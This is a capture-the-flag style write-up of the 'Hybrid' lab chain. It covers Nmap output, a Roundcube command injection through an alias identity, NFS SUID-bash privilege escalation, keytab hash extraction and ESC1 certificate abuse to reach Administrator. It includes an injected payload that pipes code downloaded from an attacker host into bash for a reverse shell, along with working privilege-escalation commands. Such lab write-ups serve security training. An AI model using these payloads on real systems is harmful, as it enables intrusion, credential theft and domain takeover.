Hybrid is a Chain mixed with a linux and windows machine. Starts off with Roundcube Webmail on http, using alias identities your able to force command injection leading to a reverse shell. The once on the box your find /etc/exports enabling rw for /opt/share, allowing for privilege escalation to user peter. Once done, you tunnel through to find a vulnerable ESC1 template allowing for Domain Computers to supply enrollees allowing for privilege escalation to Administrator.
Nmap scan report for 10.10.160.197 Host is up (0.16s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-11 15:34:13Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Issuer: commonName=hybrid-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-17T16:39:23 | Not valid after: 2025-07-17T16:39:23 | MD5: 4901:de71:cb50:f455:3fe3:23b1:2a87:0e2a |_SHA-1: 74dc:f402:f306:04f6:c39f:fb8f:a1bf:f9f1:76e6:60a9 |_ssl-date: TLS randomness does not represent time 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Issuer: commonName=hybrid-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-17T16:39:23 | Not valid after: 2025-07-17T16:39:23 | MD5: 4901:de71:cb50:f455:3fe3:23b1:2a87:0e2a |_SHA-1: 74dc:f402:f306:04f6:c39f:fb8f:a1bf:f9f1:76e6:60a9 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Issuer: commonName=hybrid-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-17T16:39:23 | Not valid after: 2025-07-17T16:39:23 | MD5: 4901:de71:cb50:f455:3fe3:23b1:2a87:0e2a |_SHA-1: 74dc:f402:f306:04f6:c39f:fb8f:a1bf:f9f1:76e6:60a9 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hybrid.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc01.hybrid.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.hybrid.vl | Issuer: commonName=hybrid-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-17T16:39:23 | Not valid after: 2025-07-17T16:39:23 | MD5: 4901:de71:cb50:f455:3fe3:23b1:2a87:0e2a |_SHA-1: 74dc:f402:f306:04f6:c39f:fb8f:a1bf:f9f1:76e6:60a9 |_ssl-date: TLS randomness does not represent time 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: HYBRID | NetBIOS_Domain_Name: HYBRID | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: hybrid.vl | DNS_Computer_Name: dc01.hybrid.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-11-11T15:36:56+00:00 | ssl-cert: Subject: commonName=dc01.hybrid.vl | Issuer: commonName=dc01.hybrid.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-07-16T16:48:12 | Not valid after: 2025-01-15T16:48:12 | MD5: d7ed:81b4:60b7:109f:56e3:7901:e081:2237 |_SHA-1: 95e3:a4cd:6bc8:3de4:cd9a:92c3:10e5:4e58:9951:81a4 |_ssl-date: 2024-11-11T15:37:36+00:00; 0s from scanner time. Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Using the credentials weβre able to login with both accounts. Looking at what version is installed we see more plugins install as well, one that sticks out is markasjunk.
We can look over this blog and see how it works. So simply, we need to use peterβs account to send and email to admin and receive a shell back.
We need to change his email a bit, or his identity, to peter.turner&curl${IFS}-o${IFS}/tmp/x${IFS}10.8.4.29/x${IFS}|${IFS}bash&@hybrid.vl.
Then we send an email to admin, select it, and mark as junk. Then watch the magic happen. πβ¨π (we hope) π€¨
$ nc -lvnp 900114:04:13 [14/27] listening on [any] 9001 ... connect to [10.8.4.29] from (UNKNOWN) [10.10.168.102] 52370 bash: cannot set terminal process group (646): Inappropriate ioctl for device bash: no job control in this shell www-data@mail01:~/roundcube$ python3 -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@mail01:~/roundcube$
We got our callback.
Shell as www-data
Checking the mysql config doesnβt yield much but the same users.
Since the NFS was running we can check its configs at /etc/exports. Which yields the follwing:
1 2 3 4 5 6 7 8 9 10 11 12
$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /opt/share *(rw,no_subtree_check)
This is a good one!!! Basically, we can copy the systems /bin/bash to /opt/share(your machines /bin/bash might not work). Then create user peter with the same uid and give ownership of bash to peter and give it a stickybit. Execute on the victim machine.
Weβre peter on the box!!β¨β¨
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
---VicMac-- $ cp /bin/bash /opt/share $ id peter.turner@hybrid.vl uid=<SNIP>(peter.turner@hybrid.vl) gid=<SNIP>(domain users@hybrid.vl) groups=<SNIP>(domain users@hybrid.vl),<SNIP>(hybridusers@hybrid.vl) --AttMac-- $ useradd -u <SNIP> -r -s /bin/bash peter $ su peter $ cp /opt/share/bash . $ chmod +s bash $ cp bash /opt/share --VicMac-- $ ./bash -p bash-5.1$ id uid=33(www-data) gid=33(www-data) euid=90<SNIP>(peter.turner@hybrid.vl) egid=992 groups=992,33(www-data) bash-5.1$
We have euid of peter.turner, which means we can see his home directory now. His home directory contains passwords.kdbx, a KeePass Database. Getting this to our windows vm and looking at it it requires a password. We can try one of the passwords we found from the dovecot-users file, which gets is in.
Root Toot!!
Now we have his domain password, and if we try to simply ssh to the box with this password, we get a session. As a added bonus, we get root easily!!
Last login: Mon Apr 28 23:17:53 2025 from 10.8.4.29 peter.turner@hybrid.vl@mail01:~$ sudo -l [sudo] password for peter.turner@hybrid.vl: Matching Defaults entries for peter.turner@hybrid.vl on mail01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User peter.turner@hybrid.vl may run the following commands on mail01: (ALL) ALL peter.turner@hybrid.vl@mail01:~$ sudo su root@mail01:/home/peter.turner@hybrid.vl#
Pivoting
Setting up a tunnel using chisel so we can continue our enumeration. After doing so, we get an bloodhound dump.
Yet we need a Domain Computer to do this, and we did have root on the MAIL01$ machine. We can get the keytab file for kerberos over to our machine and use keytabextract.py.
1 2 3 4 5 6 7 8 9 10
$ keytabextract.py /home/jay/Documents/vl/chains/hybrid/krb5.keytab [*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash. [*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction. [*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction. [+] Keytab File successfully imported. REALM : HYBRID.VL SERVICE PRINCIPAL : MAIL01$/ NTLM HASH : <SNIP> AES-256 HASH : <SNIP> AES-128 HASH : <SNIP>
PrivEsc
Now we can exploit ESC1 with a couple commands.
Firstly, we request with upn Administrator using the CA and the Template Name. This will give us a pfx file.
[+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.149.117[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.149.117[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 21 [*] Got certificate with UPN 'Administrator' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
Lastly, we authenticate with the pfx file.
1 2 3 4 5 6 7 8 9
$ proxychains4 -q certipy auth -pfx administrator.pfx -domain hybrid.vl -dc-ip 10.10.149.117 -debug Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@hybrid.vl [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'administrator@hybrid.vl': <SNIP>